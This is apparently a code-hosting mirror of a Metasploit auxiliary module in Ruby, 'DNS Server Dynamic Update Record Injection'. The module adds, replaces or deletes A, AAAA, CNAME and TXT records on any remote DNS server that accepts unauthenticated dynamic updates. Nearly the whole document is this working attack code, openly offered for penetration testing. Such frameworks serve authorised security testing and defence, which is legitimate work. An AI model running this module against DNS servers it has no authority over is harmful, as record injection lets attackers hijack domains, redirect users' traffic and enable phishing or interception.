Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/dns/dyn_dns_update.rb
19567 views
1
# -*- coding: binary -*-
2
3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7
8
require 'dnsruby'
9
10
class MetasploitModule < Msf::Auxiliary
11
12
def initialize
13
super(
14
'Name' => 'DNS Server Dynamic Update Record Injection',
15
'Description' => %q{
16
This module allows adding and/or deleting a record to
17
any remote DNS server that allows unrestricted dynamic updates.},
18
'Author' => [
19
'King Sabri <king.sabri[at]gmail.com>',
20
'Brent Cook <brent_cook[at]rapid7.com>'
21
],
22
'References' => [
23
['URL', 'https://www.tenable.com/plugins/nessus/35372'],
24
['URL', 'https://github.com/KINGSABRI/CVE-in-Ruby/tree/master/NONE-CVE/DNSInject'],
25
['URL', 'https://www.christophertruncer.com/dns-modification-dnsinject-nessus-plugin-35372/'],
26
['URL', 'https://github.com/ChrisTruncer/PenTestScripts/blob/master/HostScripts/DNSInject.py']
27
],
28
'License' => MSF_LICENSE,
29
'Actions' => [
30
['UPDATE', { 'Description' => 'Add or update a record. (default)' }],
31
['ADD', { 'Description' => 'Add a new record. Fail if it already exists.' }],
32
['DELETE', { 'Description' => 'Delete an existing record.' }]
33
],
34
'DefaultAction' => 'UPDATE',
35
'Notes' => {
36
'Stability' => [CRASH_SAFE],
37
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],
38
'Reliability' => []
39
}
40
)
41
42
register_options([
43
OptString.new('DOMAIN', [true, 'The domain name']),
44
OptAddress.new('RHOST', [true, 'The vulnerable DNS server IP address']),
45
OptString.new('HOSTNAME', [true, 'The name record you want to add']),
46
OptAddress.new('IP', [false, 'The IP you want to assign to the record']),
47
OptString.new('VALUE', [false, 'The string to be added with TXT or CNAME record']),
48
OptEnum.new('TYPE', [true, 'The record type you want to add.', 'A', ['A', 'AAAA', 'CNAME', 'TXT']]),
49
OptAddress.new('CHOST', [false, 'The source address to use for queries and updates'])
50
])
51
end
52
53
def record_action(type, type_enum, value, action)
54
# Send the update to the zone's primary master.
55
domain = datastore['DOMAIN']
56
fqdn = "#{datastore['HOSTNAME']}.#{domain}"
57
opts = { nameserver: datastore['RHOST'] }
58
59
if datastore['CHOST'] && datastore['CHOST'] != ''
60
if Rex::Socket.is_ipv4?(datastore['CHOST'])
61
opts[:src_address] = datastore['CHOST']
62
elsif Rex::Socket.is_ipv6?(datastore['CHOST'])
63
opts[:src_address6] = datastore['CHOST']
64
end
65
end
66
67
resolver = Dnsruby::Resolver.new(opts)
68
update = Dnsruby::Update.new(domain)
69
case action
70
when :resolve
71
begin
72
answer = resolver.query(fqdn, type)
73
if (answer.answer.count > 0)
74
print_good "Found existing #{type} record for #{fqdn}"
75
return true
76
end
77
return false
78
rescue Dnsruby::ResolvError, IOError => e
79
print_good "Did not find an existing #{type} record for #{fqdn}"
80
vprint_error "Query failed: #{e.message}"
81
return false
82
end
83
when :add
84
print_status('Sending dynamic DNS add message...')
85
update.absent("#{fqdn}.", type)
86
update.add("#{fqdn}.", type_enum, 86400, value)
87
begin
88
resolver.send_message(update)
89
print_good "The record '#{fqdn} => #{value}' has been added!"
90
return true
91
rescue Dnsruby::ResolvError, IOError => e
92
print_error "Cannot add #{fqdn}"
93
vprint_error 'The DNS server may not be vulnerable, or there may be a preexisting static record.'
94
vprint_error "Update failed: #{e.message}"
95
end
96
when :delete
97
begin
98
print_status('Sending dynamic DNS delete message...')
99
update.present(fqdn, type)
100
update.delete(fqdn, type)
101
resolver.send_message(update)
102
print_good("The record '#{fqdn} => #{value}' has been deleted!")
103
return true
104
rescue Dnsruby::ResolvError, IOError => e
105
print_error "Cannot delete #{fqdn}"
106
vprint_error 'The DNS server may not be vulnerable, or there may be a preexisting static record.'
107
vprint_error "Update failed: #{e.message}"
108
end
109
end
110
111
false
112
end
113
114
def update_record(type:, type_enum:, value:, value_name:)
115
if value.blank?
116
print_error("Record type #{type} requires the #{value_name} parameter to be specified")
117
return
118
end
119
120
force = datastore['CHOST'] && datastore['CHOST'] != ''
121
case action.name
122
when 'UPDATE'
123
if force
124
record_action(type, type_enum, value, :delete)
125
record_action(type, type_enum, value, :add)
126
elsif record_action(type, type_enum, value, :resolve)
127
if record_action(type, type_enum, value, :delete)
128
record_action(type, type_enum, value, :add)
129
end
130
else
131
record_action(type, type_enum, value, :add)
132
end
133
when 'ADD'
134
if force
135
record_action(type, type_enum, value, :add)
136
elsif record_action(type, type_enum, value, :resolve) == false
137
record_action(type, type_enum, value, :add)
138
else
139
print_error 'Record already exists, try DELETE or UPDATE'
140
end
141
when 'DELETE'
142
if force
143
record_action(type, type_enum, value, :delete)
144
elsif record_action(type, type_enum, value, :resolve)
145
record_action(type, type_enum, value, :delete)
146
else
147
print_error 'Record does not exist, not deleting'
148
end
149
end
150
end
151
152
def run
153
ip = datastore['IP']
154
value = datastore['VALUE']
155
case datastore['TYPE']
156
when 'A'
157
update_record(type: 'A', type_enum: Dnsruby::Types.A, value: ip, value_name: 'IP')
158
when 'AAAA'
159
update_record(type: 'AAAA', type_enum: Dnsruby::Types.AAAA, value: ip, value_name: 'IP')
160
when 'CNAME'
161
update_record(type: 'CNAME', type_enum: Dnsruby::Types.CNAME, value: value, value_name: 'VALUE')
162
when 'TXT'
163
update_record(type: 'TXT', type_enum: Dnsruby::Types.TXT, value: value, value_name: 'VALUE')
164
else
165
print_error 'Invalid Record Type!'
166
end
167
rescue ArgumentError => e
168
print_error(e.message)
169
rescue Dnsruby::OtherResolvError
170
print_error('Connection Refused!')
171
rescue Dnsruby::DecodeError
172
print_error('Invalid DNS reply, ensure you are connecting to a DNS server')
173
end
174
end
175
176